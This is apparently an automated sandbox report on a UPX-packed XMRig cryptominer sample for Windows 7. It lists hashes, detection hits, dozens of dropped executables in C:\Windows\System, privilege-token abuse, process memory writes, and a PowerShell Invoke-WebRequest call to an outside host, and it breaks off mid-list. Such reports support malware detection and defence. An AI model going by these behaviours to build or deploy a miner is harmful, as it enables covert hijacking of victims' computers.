xmrig | e994582186041cbf471ff2b5bdfcde3fa3034b3c2fb2c0969f09e409e5d091ea

Analysis

max time kernel
14s
max time network
26s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
27-04-2024 04:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
Size

2.1MB
MD5

0264e9dedce55ca6ab3139705ab8756c
SHA1

ed378d7d5ce4f5e832763fb2fdf4f21719a8536f
SHA256

e994582186041cbf471ff2b5bdfcde3fa3034b3c2fb2c0969f09e409e5d091ea
SHA512

4d908af5e182d0506775ef1aaa811c2a4e6a2415a31620481bc15e5789c11ebfa7f91c7d813649ce30e6aaccee1d6f92ca283b9e05e3790e9ddaa023fd3159b4
SSDEEP

49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafws1PZ:NABQ

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 7 IoCs

miner

resource	yara_rule
behavioral1/memory/2112-38-0x000000013F3C0000-0x000000013F7B2000-memory.dmp	xmrig
behavioral1/memory/1712-85-0x000000013FBA0000-0x000000013FF92000-memory.dmp	xmrig
behavioral1/memory/1288-88-0x000000013F970000-0x000000013FD62000-memory.dmp	xmrig
behavioral1/memory/2632-95-0x000000013FC60000-0x0000000140052000-memory.dmp	xmrig
behavioral1/memory/2660-97-0x000000013F7D0000-0x000000013FBC2000-memory.dmp	xmrig
behavioral1/memory/2180-87-0x000000013F8E0000-0x000000013FCD2000-memory.dmp	xmrig
behavioral1/memory/2948-86-0x000000013FD00000-0x00000001400F2000-memory.dmp	xmrig

Executes dropped EXE 64 IoCs

pid	Process
2112	joUCUje.exe
2660	elXDmEG.exe
1712	UMLrQlc.exe
2948	oiryWMU.exe
2180	pUkFgVB.exe
1288	spwSTBP.exe
2632	IxjaMLG.exe
2572	SjpwVim.exe
2564	pKLfYJm.exe
2620	IJSlckp.exe
2736	mgCbYLE.exe
2936	PxIpJPn.exe
2636	AFaVmPY.exe
2692	oOtsftX.exe
2516	LZHtRyk.exe
3036	vTBdzAG.exe
752	FNEqRso.exe
1136	BXtJEGi.exe
2424	MTTFgEJ.exe
2768	HqYgubb.exe
468	PcHZyTS.exe
1420	jMmEAsm.exe
1320	JdxHxVM.exe
2096	snRihiJ.exe
2240	blqlOQq.exe
740	RGVdqxb.exe
588	HIJVevE.exe
572	DswyuyQ.exe
1268	soTrpOZ.exe
2384	pOyHdhD.exe
832	tCtuWbK.exe
1968	rrktzCd.exe
2292	FjiTpDC.exe
1352	hIZHyAO.exe
2276	iLiFkTz.exe
1536	rfqOTtR.exe
1616	lakfVgI.exe
1292	ujilTat.exe
2236	iCEsLPm.exe
1812	ynopUHa.exe
864	rCtIIOr.exe
1856	bqIrtXd.exe
1664	TjtREGi.exe
380	OIgTeJd.exe
2072	fAhNdmr.exe
1372	HnTjEtv.exe
780	gEpwgaN.exe
2440	iBbKDBm.exe
1508	KFUSLIo.exe
1948	NFBYAzR.exe
1656	gwDbtzE.exe
1600	cthYHTI.exe
1708	UmvtvhU.exe
2000	nRxQwmA.exe
660	qaNQayF.exe
2644	rdiglCe.exe
2204	EKaOLmH.exe
2256	sLmLFsy.exe
2912	GKVfzDR.exe
2624	FQYrfOz.exe
2812	edmJoPM.exe
2540	xdkQbhV.exe
2780	oDTyIwA.exe
1636	ptJIXFY.exe

Loads dropped DLL 64 IoCs

pid	Process
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe

UPX packed file 40 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2284-0-0x000000013F2E0000-0x000000013F6D2000-memory.dmp	upx
behavioral1/files/0x000b000000012301-6.dat	upx
behavioral1/memory/2112-38-0x000000013F3C0000-0x000000013F7B2000-memory.dmp	upx
behavioral1/files/0x0006000000014a29-71.dat	upx
behavioral1/memory/1712-85-0x000000013FBA0000-0x000000013FF92000-memory.dmp	upx
behavioral1/memory/1288-88-0x000000013F970000-0x000000013FD62000-memory.dmp	upx
behavioral1/memory/2632-95-0x000000013FC60000-0x0000000140052000-memory.dmp	upx
behavioral1/files/0x000600000001523e-137.dat	upx
behavioral1/files/0x0006000000015c9b-182.dat	upx
behavioral1/files/0x0006000000015bb5-172.dat	upx
behavioral1/files/0x0006000000015c91-177.dat	upx
behavioral1/files/0x0006000000015b72-167.dat	upx
behavioral1/files/0x0006000000015b37-162.dat	upx
behavioral1/files/0x0006000000015a15-157.dat	upx
behavioral1/files/0x00060000000155e8-152.dat	upx
behavioral1/files/0x003900000001344f-142.dat	upx
behavioral1/files/0x000600000001543a-147.dat	upx
behavioral1/files/0x00060000000150aa-132.dat	upx
behavioral1/files/0x0006000000014fac-122.dat	upx
behavioral1/files/0x0006000000015077-127.dat	upx
behavioral1/files/0x00060000000148af-111.dat	upx
behavioral1/files/0x000600000001474b-109.dat	upx
behavioral1/files/0x00060000000146a7-107.dat	upx
behavioral1/files/0x00060000000145c9-104.dat	upx
behavioral1/files/0x000700000001451d-101.dat	upx
behavioral1/memory/2660-97-0x000000013F7D0000-0x000000013FBC2000-memory.dmp	upx
behavioral1/files/0x0006000000014c0b-96.dat	upx
behavioral1/files/0x0006000000014d0f-115.dat	upx
behavioral1/memory/2180-87-0x000000013F8E0000-0x000000013FCD2000-memory.dmp	upx
behavioral1/memory/2948-86-0x000000013FD00000-0x00000001400F2000-memory.dmp	upx
behavioral1/files/0x0009000000013b02-80.dat	upx
behavioral1/files/0x0008000000013a65-73.dat	upx
behavioral1/files/0x000600000001475f-70.dat	upx
behavioral1/files/0x0006000000014730-69.dat	upx
behavioral1/files/0x00060000000145d4-68.dat	upx
behavioral1/files/0x0006000000014525-36.dat	upx
behavioral1/files/0x0007000000013f4b-35.dat	upx
behavioral1/files/0x0008000000013a85-34.dat	upx
behavioral1/files/0x0008000000013a15-33.dat	upx
behavioral1/files/0x003900000001340e-10.dat	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\ULcOgYW.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\nWxStTX.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\iTBlLDH.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\cEhYXwc.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\BXtJEGi.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\YFcDfTW.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\VKVnraR.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\AbfOsnp.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\xdgUNzy.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\hjomZHX.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\JSTyygb.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\oDTyIwA.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\wBSMjZd.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\VUarBXN.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\iBEMCdO.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\NUlzlYF.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\IJSlckp.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\uBeLlgQ.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\dWbYAWR.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\QgnqOWj.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\aUTYVUg.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\hxZxSvG.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\mZOWDyT.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\QBvQuvV.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\dbGTcxF.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\AZBEuNt.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\qVpWlQL.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\RexHhpi.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\TtTbqGB.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\pKLfYJm.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\bqIrtXd.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\jfizDMb.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\zNJgbZG.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\fhMlqYs.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\QbDRdFe.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\HarRVbv.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\lsjxfrc.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\tBttKJb.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\ogRAVlO.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\GhbbRMg.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\RGVdqxb.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\FjiTpDC.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\iLiFkTz.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\zbtVyKs.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\CuBcmqV.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\yTUjamq.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\YLGfmBX.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\gwDbtzE.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\hXCKfsD.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\xmNiNyC.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\fbzzdYH.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\AFaVmPY.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\bMvAlap.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\MtukUzW.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\rlEvcBI.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\frIcnBN.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\OztxmBC.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\cuVwHVL.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\atVPgmz.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\uzXxGBf.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\Rxoafrc.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\fAhNdmr.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\qcZjaiC.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
File created	C:\Windows\System\OWvxDVn.exe	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
804	powershell.exe
804	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
Token: SeDebugPrivilege	804	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2284 wrote to memory of 804	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	29
PID 2284 wrote to memory of 804	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	29
PID 2284 wrote to memory of 804	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	29
PID 2284 wrote to memory of 2112	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	30
PID 2284 wrote to memory of 2112	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	30
PID 2284 wrote to memory of 2112	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	30
PID 2284 wrote to memory of 2660	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	31
PID 2284 wrote to memory of 2660	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	31
PID 2284 wrote to memory of 2660	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	31
PID 2284 wrote to memory of 1712	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	32
PID 2284 wrote to memory of 1712	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	32
PID 2284 wrote to memory of 1712	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	32
PID 2284 wrote to memory of 2736	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	33
PID 2284 wrote to memory of 2736	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	33
PID 2284 wrote to memory of 2736	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	33
PID 2284 wrote to memory of 2948	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	34
PID 2284 wrote to memory of 2948	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	34
PID 2284 wrote to memory of 2948	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	34
PID 2284 wrote to memory of 2936	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	35
PID 2284 wrote to memory of 2936	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	35
PID 2284 wrote to memory of 2936	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	35
PID 2284 wrote to memory of 2180	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	36
PID 2284 wrote to memory of 2180	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	36
PID 2284 wrote to memory of 2180	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	36
PID 2284 wrote to memory of 2636	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	37
PID 2284 wrote to memory of 2636	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	37
PID 2284 wrote to memory of 2636	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	37
PID 2284 wrote to memory of 1288	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	38
PID 2284 wrote to memory of 1288	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	38
PID 2284 wrote to memory of 1288	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	38
PID 2284 wrote to memory of 2692	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	39
PID 2284 wrote to memory of 2692	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	39
PID 2284 wrote to memory of 2692	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	39
PID 2284 wrote to memory of 2632	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	40
PID 2284 wrote to memory of 2632	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	40
PID 2284 wrote to memory of 2632	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	40
PID 2284 wrote to memory of 2516	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	41
PID 2284 wrote to memory of 2516	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	41
PID 2284 wrote to memory of 2516	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	41
PID 2284 wrote to memory of 2572	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	42
PID 2284 wrote to memory of 2572	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	42
PID 2284 wrote to memory of 2572	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	42
PID 2284 wrote to memory of 3036	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	43
PID 2284 wrote to memory of 3036	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	43
PID 2284 wrote to memory of 3036	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	43
PID 2284 wrote to memory of 2564	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	44
PID 2284 wrote to memory of 2564	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	44
PID 2284 wrote to memory of 2564	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	44
PID 2284 wrote to memory of 752	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	45
PID 2284 wrote to memory of 752	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	45
PID 2284 wrote to memory of 752	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	45
PID 2284 wrote to memory of 2620	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	46
PID 2284 wrote to memory of 2620	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	46
PID 2284 wrote to memory of 2620	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	46
PID 2284 wrote to memory of 2424	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	47
PID 2284 wrote to memory of 2424	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	47
PID 2284 wrote to memory of 2424	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	47
PID 2284 wrote to memory of 1136	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	48
PID 2284 wrote to memory of 1136	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	48
PID 2284 wrote to memory of 1136	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	48
PID 2284 wrote to memory of 2768	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	49
PID 2284 wrote to memory of 2768	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	49
PID 2284 wrote to memory of 2768	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	49
PID 2284 wrote to memory of 468	2284	0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe	50

C:\Users\Admin\AppData\Local\Temp\0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\0264e9dedce55ca6ab3139705ab8756c_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:804
- C:\Windows\System\joUCUje.exe
  C:\Windows\System\joUCUje.exe
  2⤵
  - Executes dropped EXE
  PID:2112
- C:\Windows\System\elXDmEG.exe
  C:\Windows\System\elXDmEG.exe
  2⤵
  - Executes dropped EXE
  PID:2660
- C:\Windows\System\UMLrQlc.exe
  C:\Windows\System\UMLrQlc.exe
  2⤵
  - Executes dropped EXE
  PID:1712
- C:\Windows\System\mgCbYLE.exe
  C:\Windows\System\mgCbYLE.exe
  2⤵
  - Executes dropped EXE
  PID:2736
- C:\Windows\System\oiryWMU.exe
  C:\Windows\System\oiryWMU.exe
  2⤵
  - Executes dropped EXE
  PID:2948
- C:\Windows\System\PxIpJPn.exe
  C:\Windows\System\PxIpJPn.exe
  2⤵
  - Executes dropped EXE
  PID:2936
- C:\Windows\System\pUkFgVB.exe
  C:\Windows\System\pUkFgVB.exe
  2⤵
  - Executes dropped EXE
  PID:2180
- C:\Windows\System\AFaVmPY.exe
  C:\Windows\System\AFaVmPY.exe
  2⤵
  - Executes dropped EXE
  PID:2636
- C:\Windows\System\spwSTBP.exe
  C:\Windows\System\spwSTBP.exe
  2⤵
  - Executes dropped EXE
  PID:1288
- C:\Windows\System\oOtsftX.exe
  C:\Windows\System\oOtsftX.exe
  2⤵
  - Executes dropped EXE
  PID:2692
- C:\Windows\System\IxjaMLG.exe
  C:\Windows\System\IxjaMLG.exe
  2⤵
  - Executes dropped EXE
  PID:2632
- C:\Windows\System\LZHtRyk.exe
  C:\Windows\System\LZHtRyk.exe
  2⤵
  - Executes dropped EXE
  PID:2516
- C:\Windows\System\SjpwVim.exe
  C:\Windows\System\SjpwVim.exe
  2⤵
  - Executes dropped EXE
  PID:2572
- C:\Windows\System\vTBdzAG.exe
  C:\Windows\System\vTBdzAG.exe
  2⤵
  - Executes dropped EXE
  PID:3036
- C:\Windows\System\pKLfYJm.exe
  C:\Windows\System\pKLfYJm.exe
  2⤵
  - Executes dropped EXE
  PID:2564
- C:\Windows\System\FNEqRso.exe
  C:\Windows\System\FNEqRso.exe
  2⤵
  - Executes dropped EXE
  PID:752
- C:\Windows\System\IJSlckp.exe
  C:\Windows\System\IJSlckp.exe
  2⤵
  - Executes dropped EXE
  PID:2620
- C:\Windows\System\MTTFgEJ.exe
  C:\Windows\System\MTTFgEJ.exe
  2⤵
  - Executes dropped EXE
  PID:2424
- C:\Windows\System\BXtJEGi.exe
  C:\Windows\System\BXtJEGi.exe
  2⤵
  - Executes dropped EXE
  PID:1136
- C:\Windows\System\HqYgubb.exe
  C:\Windows\System\HqYgubb.exe
  2⤵
  - Executes dropped EXE
  PID:2768
- C:\Windows\System\PcHZyTS.exe
  C:\Windows\System\PcHZyTS.exe
  2⤵
  - Executes dropped EXE
  PID:468
- C:\Windows\System\jMmEAsm.exe
  C:\Windows\System\jMmEAsm.exe
  2⤵
  - Executes dropped EXE
  PID:1420
- C:\Windows\System\JdxHxVM.exe
  C:\Windows\System\JdxHxVM.exe
  2⤵
  - Executes dropped EXE
  PID:1320
- C:\Windows\System\snRihiJ.exe
  C:\Windows\System\snRihiJ.exe
  2⤵
  - Executes dropped EXE
  PID:2096
- C:\Windows\System\blqlOQq.exe
  C:\Windows\System\blqlOQq.exe
  2⤵
  - Executes dropped EXE
  PID:2240
- C:\Windows\System\RGVdqxb.exe
  C:\Windows\System\RGVdqxb.exe
  2⤵
  - Executes dropped EXE
  PID:740
- C:\Windows\System\HIJVevE.exe
  C:\Windows\System\HIJVevE.exe
  2⤵
  - Executes dropped EXE
